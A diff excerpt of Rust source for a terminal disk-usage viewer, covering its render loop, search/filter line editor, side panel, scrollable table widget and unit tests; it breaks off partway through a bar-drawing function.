|
p.push_str(l);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
None => {
|
||||||
|
let _ = write!(self.buf, "\x1b[{};1H{l}", y + 1);
|
||||||
|
self.prev.push(l.to_string());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
n = y + 1;
|
||||||
|
}
|
||||||
|
self.prev.truncate(n);
|
||||||
|
self.buf.push_str(extra);
|
||||||
|
self.buf.push_str("\x1b[?2026l");
|
||||||
|
out.write_all(self.buf.as_bytes())?;
|
||||||
|
out.flush()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn next_msg(rx: &Receiver<Msg>, timers: &[(Instant, Msg)]) -> Option<Msg> {
|
||||||
|
match timers.iter().map(|t| t.0).min() {
|
||||||
|
Some(d) => select! {
|
||||||
|
recv(rx) -> msg => msg.ok(),
|
||||||
|
recv(after(d.saturating_duration_since(Instant::now()))) -> _ => None,
|
||||||
|
},
|
||||||
|
None => rx.recv().ok(),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn event_loop(m: &mut Model) -> io::Result<()> {
|
||||||
|
let (tx, rx) = crossbeam_channel::unbounded::<Msg>();
|
||||||
|
let stop = Arc::new(AtomicBool::new(false));
|
||||||
|
{
|
||||||
|
let (tx, stop) = (tx.clone(), stop.clone());
|
||||||
|
std::thread::spawn(move || input_thread(tx, stop));
|
||||||
|
}
|
||||||
|
let (w, h) = terminal::size()?;
|
||||||
|
let mut rt = Runtime { tx, timers: Vec::new(), out: String::new() };
|
||||||
|
rt.exec(m.update(Msg::Size(w as i32, h as i32)));
|
||||||
|
let init = m.init();
|
||||||
|
rt.exec(init);
|
||||||
|
let mut screen = Screen::default();
|
||||||
|
let mut stdout = io::stdout();
|
||||||
|
let mut last = String::new();
|
||||||
|
let res = loop {
|
||||||
|
if m.quit {
|
||||||
|
break Ok(());
|
||||||
|
}
|
||||||
|
let (w, h) = (m.w, m.h);
|
||||||
|
let frame = m.view();
|
||||||
|
if frame != last || !rt.out.is_empty() {
|
||||||
|
if let Err(e) = screen.draw(&mut stdout, frame, w, h, &rt.out) {
|
||||||
|
break Err(e);
|
||||||
|
}
|
||||||
|
last.clear();
|
||||||
|
last.push_str(frame);
|
||||||
|
rt.out.clear();
|
||||||
|
}
|
||||||
|
if let Some(msg) = next_msg(&rx, &rt.timers) {
|
||||||
|
let c = m.update(msg);
|
||||||
|
rt.exec(c);
|
||||||
|
}
|
||||||
|
// Fire due timers, then drain whatever else is queued before the next
|
||||||
|
// frame, so bursts (resize storms) cost one render.
|
||||||
|
let now = Instant::now();
|
||||||
|
let (due, later): (Vec<_>, Vec<_>) = std::mem::take(&mut rt.timers).into_iter().partition(|t| t.0 <= now);
|
||||||
|
rt.timers = later;
|
||||||
|
for (_, msg) in due {
|
||||||
|
let c = m.update(msg);
|
||||||
|
rt.exec(c);
|
||||||
|
}
|
||||||
|
while let Ok(msg) = rx.try_recv() {
|
||||||
|
if m.quit {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
let c = m.update(msg);
|
||||||
|
rt.exec(c);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
stop.store(true, Ordering::Relaxed);
|
||||||
|
res
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use super::*;
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn base64_matches_rfc4648() {
|
||||||
|
for (i, o) in [("", ""), ("f", "Zg=="), ("fo", "Zm8="), ("foo", "Zm9v"), ("foob", "Zm9vYg=="), ("foobar", "Zm9vYmFy")] {
|
||||||
|
assert_eq!(base64(i.as_bytes()), o);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn screen_rewrites_only_changed_lines() {
|
||||||
|
let mut s = Screen::default();
|
||||||
|
let mut out = Vec::new();
|
||||||
|
s.draw(&mut out, "a\nb\nc", 1, 3, "").unwrap();
|
||||||
|
out.clear();
|
||||||
|
s.draw(&mut out, "a\nX\nc", 1, 3, "").unwrap();
|
||||||
|
assert_eq!(String::from_utf8(out).unwrap(), "\x1b[?2026h\x1b[2;1HX\x1b[?2026l");
|
||||||
|
// Within a line only the differing style runs are rewritten.
|
||||||
|
let a = "\x1b[0;1mab\x1b[0;7m日x\x1b[0mcd\x1b[0m";
|
||||||
|
let b = "\x1b[0;1mab\x1b[0;7m日y\x1b[0mcd\x1b[0m";
|
||||||
|
assert_eq!(line_diff(a, b), vec![(2, 8..18)]);
|
||||||
|
assert_eq!(&b[8..18], "\x1b[0;7m日y");
|
||||||
|
assert!(line_diff(a, a).is_empty());
|
||||||
|
let c = "\x1b[0;2mab\x1b[0;7m日x\x1b[0mcz\x1b[0m";
|
||||||
|
assert_eq!(line_diff(a, c), vec![(0, 0..8), (5, 18..24)]);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn keys_use_bubbletea_names() {
|
||||||
|
let k = |code, m| convert_key(KeyEvent::new(code, m)).unwrap().name;
|
||||||
|
assert_eq!(k(KeyCode::Char('c'), KeyModifiers::CONTROL), "ctrl+c");
|
||||||
|
assert_eq!(k(KeyCode::Char('G'), KeyModifiers::SHIFT), "G");
|
||||||
|
assert_eq!(k(KeyCode::Char(' '), KeyModifiers::NONE), "space");
|
||||||
|
assert_eq!(k(KeyCode::BackTab, KeyModifiers::SHIFT), "shift+tab");
|
||||||
|
assert_eq!(k(KeyCode::PageDown, KeyModifiers::NONE), "pgdown");
|
||||||
|
assert_eq!(k(KeyCode::Backspace, KeyModifiers::ALT), "alt+backspace");
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,277 @@
|
|||||||
|
//! The search/filter editor and background filter evaluation.
|
||||||
|
|
||||||
|
use super::canvas::{Canvas, Style, BOLD};
|
||||||
|
use super::model::{Cmd, Key, Model, Msg};
|
||||||
|
use super::{tw, trunc};
|
||||||
|
use crate::cancel::Cancel;
|
||||||
|
use crate::filter::{self, FilterResult, Query};
|
||||||
|
use crate::inventory::Tree;
|
||||||
|
use crate::textutil;
|
||||||
|
use crate::treemap::Rect;
|
||||||
|
use std::sync::Arc;
|
||||||
|
use std::time::{Duration, Instant, SystemTime};
|
||||||
|
|
||||||
|
/// A minimal single-line text editor.
|
||||||
|
#[derive(Default)]
|
||||||
|
pub(crate) struct LineEditor {
|
||||||
|
pub buf: Vec<char>,
|
||||||
|
pub cur: usize,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl LineEditor {
|
||||||
|
pub fn text(&self) -> String {
|
||||||
|
self.buf.iter().collect()
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn set(&mut self, s: &str) {
|
||||||
|
self.buf = s.chars().collect();
|
||||||
|
self.cur = self.buf.len();
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Applies an editing key; it reports whether the text changed and
|
||||||
|
/// whether the key was handled.
|
||||||
|
pub fn key(&mut self, k: &Key) -> (bool, bool) {
|
||||||
|
match k.name.as_str() {
|
||||||
|
"left" | "ctrl+b" => self.cur = self.cur.saturating_sub(1),
|
||||||
|
"right" | "ctrl+f" => self.cur = self.buf.len().min(self.cur + 1),
|
||||||
|
"home" | "ctrl+a" => self.cur = 0,
|
||||||
|
"end" | "ctrl+e" => self.cur = self.buf.len(),
|
||||||
|
"backspace" | "ctrl+h" => {
|
||||||
|
if self.cur > 0 {
|
||||||
|
self.buf.remove(self.cur - 1);
|
||||||
|
self.cur -= 1;
|
||||||
|
return (true, true);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
"delete" | "ctrl+d" => {
|
||||||
|
if self.cur < self.buf.len() {
|
||||||
|
self.buf.remove(self.cur);
|
||||||
|
return (true, true);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
"ctrl+u" => {
|
||||||
|
self.buf.drain(..self.cur);
|
||||||
|
self.cur = 0;
|
||||||
|
return (true, true);
|
||||||
|
}
|
||||||
|
"ctrl+k" => {
|
||||||
|
self.buf.truncate(self.cur);
|
||||||
|
return (true, true);
|
||||||
|
}
|
||||||
|
"ctrl+w" | "alt+backspace" => {
|
||||||
|
let mut i = self.cur;
|
||||||
|
while i > 0 && self.buf[i - 1] == ' ' {
|
||||||
|
i -= 1;
|
||||||
|
}
|
||||||
|
while i > 0 && self.buf[i - 1] != ' ' {
|
||||||
|
i -= 1;
|
||||||
|
}
|
||||||
|
self.buf.drain(i..self.cur);
|
||||||
|
self.cur = i;
|
||||||
|
return (true, true);
|
||||||
|
}
|
||||||
|
_ => {
|
||||||
|
if k.text.is_empty() || k.ctrl_alt {
|
||||||
|
return (false, false);
|
||||||
|
}
|
||||||
|
let rs: Vec<char> = k.text.chars().filter(|&r| r >= ' ' && r != '\x7f').collect();
|
||||||
|
if rs.is_empty() || self.buf.len() + rs.len() > 1024 {
|
||||||
|
return (false, true);
|
||||||
|
}
|
||||||
|
let n = rs.len();
|
||||||
|
self.buf.splice(self.cur..self.cur, rs);
|
||||||
|
self.cur += n;
|
||||||
|
return (true, true);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
(false, true)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Default)]
|
||||||
|
pub(crate) struct SearchState {
|
||||||
|
pub editing: bool,
|
||||||
|
pub ed: LineEditor,
|
||||||
|
pub query: Option<Arc<Query>>,
|
||||||
|
pub result: Option<FilterResult>,
|
||||||
|
pub err: String,
|
||||||
|
pub gen: u64,
|
||||||
|
pub busy: bool,
|
||||||
|
pub applied_at: Option<Instant>,
|
||||||
|
pub cancel: Option<Cancel>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl SearchState {
|
||||||
|
pub fn begin(&mut self) {
|
||||||
|
self.editing = true;
|
||||||
|
if let Some(q) = &self.query {
|
||||||
|
let s = q.to_string();
|
||||||
|
self.ed.set(&s);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Model {
|
||||||
|
pub fn search_key(&mut self, k: &Key) -> Cmd {
|
||||||
|
match k.name.as_str() {
|
||||||
|
"esc" => {
|
||||||
|
self.search.editing = false;
|
||||||
|
self.clear_filter();
|
||||||
|
return Cmd::None;
|
||||||
|
}
|
||||||
|
"enter" => {
|
||||||
|
self.search.editing = false;
|
||||||
|
if !self.search.err.is_empty() {
|
||||||
|
let e = format!("Invalid query: {}", self.search.err);
|
||||||
|
return self.warn(e);
|
||||||
|
}
|
||||||
|
return Cmd::None;
|
||||||
|
}
|
||||||
|
_ => {}
|
||||||
|
}
|
||||||
|
let (changed, _) = self.search.ed.key(k);
|
||||||
|
if changed {
|
||||||
|
return self.query_changed();
|
||||||
|
}
|
||||||
|
Cmd::None
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Parses the editor contents and schedules a debounced apply.
|
||||||
|
pub fn query_changed(&mut self) -> Cmd {
|
||||||
|
let s = &mut self.search;
|
||||||
|
s.gen += 1;
|
||||||
|
let text = s.ed.text();
|
||||||
|
if text.is_empty() {
|
||||||
|
s.err.clear();
|
||||||
|
self.drop_filter();
|
||||||
|
return Cmd::None;
|
||||||
|
}
|
||||||
|
match filter::parse(&text, SystemTime::now()) {
|
||||||
|
Err(e) => {
|
||||||
|
s.err = e;
|
||||||
|
Cmd::None
|
||||||
|
}
|
||||||
|
Ok(q) => {
|
||||||
|
s.err.clear();
|
||||||
|
s.query = Some(Arc::new(q));
|
||||||
|
Cmd::Tick(Duration::from_millis(120), Msg::FilterDebounce(s.gen))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Replaces the filter with q and applies it immediately.
|
||||||
|
pub fn set_filter(&mut self, q: &str) -> Cmd {
|
||||||
|
self.search.ed.set(q);
|
||||||
|
self.search.editing = false;
|
||||||
|
let _ = self.query_changed();
|
||||||
|
if !self.search.err.is_empty() {
|
||||||
|
let e = format!("Invalid query: {}", self.search.err);
|
||||||
|
return self.warn(e);
|
||||||
|
}
|
||||||
|
self.apply_filter()
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Evaluates the current query in the background. The tree is
|
||||||
|
/// read-locked by the worker; stale results are discarded by generation.
|
||||||
|
pub fn apply_filter(&mut self) -> Cmd {
|
||||||
|
let Some(q) = self.search.query.clone() else { return Cmd::None };
|
||||||
|
if let Some(c) = self.search.cancel.take() {
|
||||||
|
c.cancel();
|
||||||
|
}
|
||||||
|
let c = Cancel::new();
|
||||||
|
self.search.cancel = Some(c.clone());
|
||||||
|
self.search.busy = true;
|
||||||
|
self.search.applied_at = Some(Instant::now());
|
||||||
|
let (t, mode, gen) = (self.tree.clone(), self.size_mode, self.search.gen);
|
||||||
|
Cmd::run(move || {
|
||||||
|
let res = {
|
||||||
|
let g = t.read().unwrap();
|
||||||
|
filter::apply(&c, &g, q, mode)
|
||||||
|
};
|
||||||
|
Msg::Filter { gen, res }
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn filter_result(&mut self, gen: u64, res: Option<FilterResult>) -> Cmd {
|
||||||
|
let s = &mut self.search;
|
||||||
|
if gen != s.gen || s.query.is_none() {
|
||||||
|
return Cmd::None;
|
||||||
|
}
|
||||||
|
s.busy = false;
|
||||||
|
let Some(res) = res else { return Cmd::None };
|
||||||
|
s.result = Some(res);
|
||||||
|
self.invalidate();
|
||||||
|
Cmd::None
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Removes the active filter but keeps the editor open.
|
||||||
|
pub fn drop_filter(&mut self) {
|
||||||
|
let s = &mut self.search;
|
||||||
|
if let Some(c) = &s.cancel {
|
||||||
|
c.cancel();
|
||||||
|
}
|
||||||
|
(s.query, s.result, s.busy) = (None, None, false);
|
||||||
|
self.invalidate();
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn clear_filter(&mut self) {
|
||||||
|
self.drop_filter();
|
||||||
|
self.search.ed.set("");
|
||||||
|
self.search.err.clear();
|
||||||
|
self.search.gen += 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn paint_search(&self, cv: &mut Canvas, r: Rect) {
|
||||||
|
let t = &self.theme;
|
||||||
|
let s = &self.search;
|
||||||
|
let st = Style::new(t.fg, t.panel_bg);
|
||||||
|
cv.fill(r, " ", st);
|
||||||
|
let mut x = r.x + 1;
|
||||||
|
x += cv.text(x, r.y, "/ ", 2, Style::new(t.accent, t.panel_bg).with(BOLD));
|
||||||
|
let mut status_st = Style::new(t.muted, t.panel_bg);
|
||||||
|
let status = if !s.err.is_empty() {
|
||||||
|
status_st.fg = t.err;
|
||||||
|
format!("✗ {}", s.err)
|
||||||
|
} else if s.busy {
|
||||||
|
"filtering…".into()
|
||||||
|
} else if let Some(res) = &s.result {
|
||||||
|
format!("{} matches · {}", textutil::count(res.count), textutil::size(res.total))
|
||||||
|
} else if s.ed.buf.is_empty() {
|
||||||
|
"name, *.iso, size > 1GB, ext IN (iso,vmdk), age > 365d … Enter keep · Esc clear".into()
|
||||||
|
} else {
|
||||||
|
String::new()
|
||||||
|
};
|
||||||
|
let sw = tw(&status).min(r.w / 2);
|
||||||
|
let avail = r.w - (x - r.x) - sw - 3;
|
||||||
|
// Scroll the text so the cursor stays visible.
|
||||||
|
let text = &s.ed.buf;
|
||||||
|
let start = if s.ed.cur as i32 > avail - 1 { (s.ed.cur as i32 - avail + 1) as usize } else { 0 };
|
||||||
|
let end = text.len().min(start + avail.max(0) as usize).max(start);
|
||||||
|
let vis: String = text[start..end].iter().collect();
|
||||||
|
cv.text(x, r.y, &textutil::sanitize(&vis), avail, st);
|
||||||
|
let before: String = text[start..s.ed.cur].iter().collect();
|
||||||
|
let cx = x + tw(&textutil::sanitize(&before));
|
||||||
|
let under = if s.ed.cur < text.len() { textutil::sanitize(&text[s.ed.cur].to_string()) } else { " ".into() };
|
||||||
|
cv.text(cx, r.y, &under, 2, Style::new(t.panel_bg, t.fg).with(self.mono_rev()));
|
||||||
|
cv.text_right(r.x, r.y, r.w - 1, &trunc(&status, sw), status_st);
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn paint_filter_summary(&self, tr: &Tree, cv: &mut Canvas, r: Rect) {
|
||||||
|
let t = &self.theme;
|
||||||
|
let s = &self.search;
|
||||||
|
let mut x = r.x + 1;
|
||||||
|
x += cv.text(x, r.y, " FILTER ", 8, Style::new(t.text_on(t.warn), t.warn).with(BOLD | self.mono_rev()));
|
||||||
|
let q = s.query.as_ref().map(|q| q.to_string()).unwrap_or_default();
|
||||||
|
x += cv.text(x + 1, r.y, &textutil::sanitize(&q), r.w / 2, Style::new(t.fg, t.panel_bg).with(BOLD)) + 1;
|
||||||
|
let mut info = "filtering…".to_string();
|
||||||
|
if let (Some(res), false) = (&s.result, s.busy) {
|
||||||
|
info = format!(
|
||||||
|
"{} matches · {} of {} · / edit · Esc clear",
|
||||||
|
textutil::count(res.count),
|
||||||
|
textutil::size(res.total),
|
||||||
|
textutil::size(tr.node(0).total(self.size_mode))
|
||||||
|
);
|
||||||
|
}
|
||||||
|
cv.text(x + 2, r.y, &info, r.x + r.w - x - 3, Style::new(t.muted, t.panel_bg));
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,111 @@
|
|||||||
|
//! The large-layout side panel: directory summary, category breakdown and
|
||||||
|
//! the selected item.
|
||||||
|
|
||||||
|
use super::canvas::{Canvas, Style, BOLD};
|
||||||
|
use super::modal::wrap;
|
||||||
|
use super::model::{is_group, Model};
|
||||||
|
use super::render::kind_label;
|
||||||
|
use super::san;
|
||||||
|
use crate::inventory::{Category, Tree, NO_NODE};
|
||||||
|
use crate::textutil;
|
||||||
|
use crate::treemap::Rect;
|
||||||
|
|
||||||
|
impl Model {
|
||||||
|
pub fn paint_side(&mut self, tr: &Tree, cv: &mut Canvas, r: Rect) {
|
||||||
|
let t = self.theme.clone();
|
||||||
|
let ps = t.panel();
|
||||||
|
cv.fill(r, " ", ps);
|
||||||
|
cv.fill(Rect { x: r.x + r.w - 1, y: r.y, w: 1, h: r.h }, "│", Style::new(t.faint, t.panel_bg));
|
||||||
|
let w = r.w - 3;
|
||||||
|
let x = r.x + 1;
|
||||||
|
let mut y = r.y + 1;
|
||||||
|
let end = r.y + r.h;
|
||||||
|
let head = |cv: &mut Canvas, y: &mut i32, s: &str| {
|
||||||
|
if *y < end {
|
||||||
|
cv.text(x, *y, s, w, Style::new(t.accent, t.panel_bg).with(BOLD));
|
||||||
|
*y += 1;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
let kvl = |cv: &mut Canvas, y: &mut i32, k: &str, v: &str, vs: Style| {
|
||||||
|
if *y < end {
|
||||||
|
cv.text(x, *y, k, w, Style::new(t.muted, t.panel_bg));
|
||||||
|
cv.text_right(x, *y, w, v, vs);
|
||||||
|
*y += 1;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
let val = Style::new(t.fg, t.panel_bg).with(BOLD);
|
||||||
|
let plain = Style::new(t.fg, t.panel_bg);
|
||||||
|
let z = tr.node(self.zoom);
|
||||||
|
|
||||||
|
head(cv, &mut y, "DIRECTORY");
|
||||||
|
for l in wrap(&san(&z.name), w) {
|
||||||
|
if y < end {
|
||||||
|
cv.text(x, y, &l, w, Style::new(t.fg, t.panel_bg).with(BOLD));
|
||||||
|
y += 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
y += 1;
|
||||||
|
kvl(cv, &mut y, "Size", &textutil::size(self.size_of(tr, self.zoom)), val);
|
||||||
|
kvl(cv, &mut y, "Logical", &textutil::size(z.tot_size), plain);
|
||||||
|
kvl(cv, &mut y, "Allocated", &textutil::size(z.tot_alloc), plain);
|
||||||
|
kvl(cv, &mut y, "Files", &textutil::count(z.files as i64), plain);
|
||||||
|
kvl(cv, &mut y, "Directories", &textutil::count(z.dirs as i64), plain);
|
||||||
|
if z.errors > 0 {
|
||||||
|
kvl(cv, &mut y, "Errors", &textutil::count(z.errors as i64), Style::new(t.err, t.panel_bg).with(BOLD));
|
||||||
|
}
|
||||||
|
y += 1;
|
||||||
|
|
||||||
|
// Category breakdown with proportional bars.
|
||||||
|
if let Some(cs) = tr.cat_sizes(self.zoom) {
|
||||||
|
head(cv, &mut y, "CATEGORIES");
|
||||||
|
let mut cats: Vec<(Category, i64)> =
|
||||||
|
cs.iter().enumerate().filter(|(_, &v)| v > 0).map(|(i, &v)| (Category::from_u8(i as u8), v)).collect();
|
||||||
|
let total: i64 = cats.iter().map(|c| c.1).sum();
|
||||||
|
cats.sort_by(|a, b| b.1.cmp(&a.1));
|
||||||
|
for &(c, v) in &cats {
|
||||||
|
if y >= end - 8 {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
let col = t.cat[c as usize];
|
||||||
|
let sw = if t.mono || t.ascii { " " } else { "██ " };
|
||||||
|
cv.text(x, y, sw, 3, Style::new(col, t.panel_bg));
|
||||||
|
cv.text(x + 3, y, c.name(), w - 3, plain);
|
||||||
|
cv.text_right(x, y, w, &textutil::percent(v, total), Style::new(t.muted, t.panel_bg));
|
||||||
|
y += 1;
|
||||||
|
self.paint_bar(cv, x + 3, y, w - 3, v as f64 / cats[0].1 as f64, col, false);
|
||||||
|
y += 1;
|
||||||
|
}
|
||||||
|
y += 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Selected item.
|
||||||
|
if y < end - 4 {
|
||||||
|
head(cv, &mut y, "SELECTED");
|
||||||
|
let mut desc = Vec::new();
|
||||||
|
if is_group(self.sel) {
|
||||||
|
if let Some(g) = self.group_info(self.sel) {
|
||||||
|
desc.push(format!("{} smaller items", textutil::count(g.ids().len() as i64)));
|
||||||
|
desc.push(textutil::size(g.size));
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
let id = self.selected_node(tr);
|
||||||
|
if id != NO_NODE {
|
||||||
|
let n = tr.node(id);
|
||||||
|
desc.extend(wrap(&san(&n.name), w));
|
||||||
|
desc.push(textutil::size(self.size_of(tr, id)) + " · " + &textutil::percent(self.size_of(tr, id), self.size_of(tr, self.zoom)));
|
||||||
|
if n.is_dir() {
|
||||||
|
desc.push(textutil::count(n.files as i64) + " files");
|
||||||
|
} else {
|
||||||
|
desc.push(kind_label(n));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
for d in desc {
|
||||||
|
if y < end {
|
||||||
|
cv.text(x, y, &d, w, plain);
|
||||||
|
y += 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,190 @@
|
|||||||
|
//! A scrollable list with a cursor, shared by the list-style views.
|
||||||
|
|
||||||
|
use super::canvas::{rgb, Canvas, Color, Style, BOLD};
|
||||||
|
use super::model::{Cmd, Hit, HitAct, Model};
|
||||||
|
use super::{pad_left, trunc, trunc_left};
|
||||||
|
use crate::inventory::Tree;
|
||||||
|
use crate::textutil;
|
||||||
|
use crate::treemap::Rect;
|
||||||
|
|
||||||
|
/// Describes one table column.
|
||||||
|
pub(crate) struct Column {
|
||||||
|
pub title: &'static str,
|
||||||
|
pub width: i32, // 0 = flexible (takes the remaining space)
|
||||||
|
pub right: bool,
|
||||||
|
pub clip_left: bool, // truncate from the left (paths: the tail matters)
|
||||||
|
}
|
||||||
|
|
||||||
|
pub(crate) const fn col(title: &'static str, width: i32, right: bool, clip_left: bool) -> Column {
|
||||||
|
Column { title, width, right, clip_left }
|
||||||
|
}
|
||||||
|
|
||||||
|
/// One rendered row: cell strings plus optional per-cell styles.
|
||||||
|
#[derive(Default)]
|
||||||
|
pub(crate) struct TableRow {
|
||||||
|
pub cells: Vec<String>,
|
||||||
|
pub styles: Vec<Option<Style>>, // None = default
|
||||||
|
pub bar: f64, // 0..1 for an optional bar column (-1 = none)
|
||||||
|
pub bar_col: Color,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Default)]
|
||||||
|
pub(crate) struct Table {
|
||||||
|
pub cursor: i32,
|
||||||
|
pub offset: i32,
|
||||||
|
pub height: i32, // rows visible in the last paint
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Table {
|
||||||
|
/// Moves the cursor three rows for a mouse wheel step.
|
||||||
|
pub fn scroll(&mut self, up: bool, n: usize) {
|
||||||
|
self.mv(if up { -3 } else { 3 }, n);
|
||||||
|
}
|
||||||
|
|
||||||
|
fn mv(&mut self, d: i32, n: usize) {
|
||||||
|
if n == 0 {
|
||||||
|
self.cursor = 0;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
self.cursor = (self.cursor + d).max(0).min(n as i32 - 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Handles navigation keys common to all tables.
|
||||||
|
pub fn key(&mut self, k: &str, n: usize) -> bool {
|
||||||
|
let page = (self.height - 1).max(1);
|
||||||
|
match k {
|
||||||
|
"up" | "k" => self.mv(-1, n),
|
||||||
|
"down" | "j" => self.mv(1, n),
|
||||||
|
"pgup" | "ctrl+b" => self.mv(-page, n),
|
||||||
|
"pgdown" | "ctrl+f" => self.mv(page, n),
|
||||||
|
"end" | "G" => self.mv(n as i32, n),
|
||||||
|
"g" => self.cursor = 0,
|
||||||
|
_ => return false,
|
||||||
|
}
|
||||||
|
true
|
||||||
|
}
|
||||||
|
|
||||||
|
/// The cursor as an index (it is never negative).
|
||||||
|
pub fn at(&self) -> usize {
|
||||||
|
self.cursor.max(0) as usize
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn paint(&mut self, m: &mut Model, cv: &mut Canvas, r: Rect, cols: &[Column], rows: &[TableRow], title: &str) {
|
||||||
|
let t = m.theme.clone();
|
||||||
|
cv.fill(r, " ", t.base());
|
||||||
|
if r.h < 3 {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let mut y = r.y;
|
||||||
|
if !title.is_empty() {
|
||||||
|
cv.text(r.x + 1, y, title, r.w - 2, Style::new(t.accent, t.bg).with(BOLD));
|
||||||
|
y += 1;
|
||||||
|
}
|
||||||
|
// Resolve flexible width.
|
||||||
|
let fixed: i32 = cols.iter().map(|c| c.width + 1).sum();
|
||||||
|
let flex = (r.w - 2 - fixed).max(8);
|
||||||
|
let width = |c: &Column| if c.width == 0 { flex } else { c.width };
|
||||||
|
let mut x = r.x + 1;
|
||||||
|
let hdr = Style::new(t.muted, t.bg).with(BOLD);
|
||||||
|
for c in cols {
|
||||||
|
let w = width(c);
|
||||||
|
let s = if c.right { pad_left(c.title, w) } else { c.title.to_string() };
|
||||||
|
cv.text(x, y, &s, w, hdr);
|
||||||
|
x += w + 1;
|
||||||
|
}
|
||||||
|
y += 1;
|
||||||
|
cv.hline(r.x + 1, y, r.w - 2, "─", Style::new(t.faint, t.bg));
|
||||||
|
y += 1;
|
||||||
|
self.height = r.y + r.h - y;
|
||||||
|
let n = rows.len() as i32;
|
||||||
|
if self.cursor >= n {
|
||||||
|
self.cursor = (n - 1).max(0);
|
||||||
|
}
|
||||||
|
if self.cursor < self.offset {
|
||||||
|
self.offset = self.cursor;
|
||||||
|
}
|
||||||
|
if self.cursor >= self.offset + self.height {
|
||||||
|
self.offset = self.cursor - self.height + 1;
|
||||||
|
}
|
||||||
|
self.offset = 0.max(self.offset.min(n - self.height));
|
||||||
|
let mut i = self.offset;
|
||||||
|
while i < n && y < r.y + r.h {
|
||||||
|
let row = &rows[i as usize];
|
||||||
|
let sel = i == self.cursor;
|
||||||
|
let mut base = t.base();
|
||||||
|
if sel {
|
||||||
|
base = Style::new(t.text_on(t.sel), t.sel).with(BOLD | m.mono_rev());
|
||||||
|
cv.fill(Rect { x: r.x, y, w: r.w, h: 1 }, " ", base);
|
||||||
|
}
|
||||||
|
let mut x = r.x + 1;
|
||||||
|
for (ci, c) in cols.iter().enumerate() {
|
||||||
|
let w = width(c);
|
||||||
|
let s = row.cells.get(ci).map_or("", |s| s.as_str());
|
||||||
|
let st = match row.styles.get(ci) {
|
||||||
|
Some(Some(st)) if !sel => *st,
|
||||||
|
_ => base,
|
||||||
|
};
|
||||||
|
if c.title.is_empty() && row.bar >= 0.0 {
|
||||||
|
m.paint_bar(cv, x, y, w, row.bar, row.bar_col, sel);
|
||||||
|
} else if c.right {
|
||||||
|
cv.text(x, y, &pad_left(s, w), w, st);
|
||||||
|
} else if c.clip_left {
|
||||||
|
cv.text(x, y, &trunc_left(s, w), w, st);
|
||||||
|
} else {
|
||||||
|
cv.text(x, y, &trunc(s, w), w, st);
|
||||||
|
}
|
||||||
|
x += w + 1;
|
||||||
|
}
|
||||||
|
m.hits.push(Hit { r: Rect { x: r.x, y, w: r.w, h: 1 }, act: HitAct::Row(i as usize) });
|
||||||
|
y += 1;
|
||||||
|
i += 1;
|
||||||
|
}
|
||||||
|
if rows.is_empty() {
|
||||||
|
cv.text_centered(r.x, r.y + r.h / 2, r.w, "Nothing to show", t.muted());
|
||||||
|
}
|
||||||
|
if n > self.height && self.height > 0 {
|
||||||
|
let pos = format!("{}/{}", textutil::count(self.cursor as i64 + 1), textutil::count(n as i64));
|
||||||
|
cv.text_right(r.x, r.y, r.w - 1, &pos, t.muted());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Model {
|
||||||
|
/// Draws a proportional bar with eighth-block precision.
|
||||||
|
#[allow(clippy::too_many_arguments)]
|
||||||
|
pub fn paint_bar(&self, cv: &mut Canvas, x: i32, y: i32, w: i32, frac: f64, col: Color, sel: bool) {
|
||||||
|
let t = &self.theme;
|
||||||
|
let col = if col.is_default() { t.accent } else { col };
|
||||||
|
let bg = if sel { t.sel.mix(rgb(0, 0, 0), 0.25) } else { t.bg.mix(t.fg, 0.08) };
|
||||||
|
let mut eighths = (frac * (w * 8) as f64 + 0.5) as i64;
|
||||||
|
const PARTS: [&str; 8] = ["", "▏", "▎", "▍", "▌", "▋", "▊", "▉"];
|
||||||
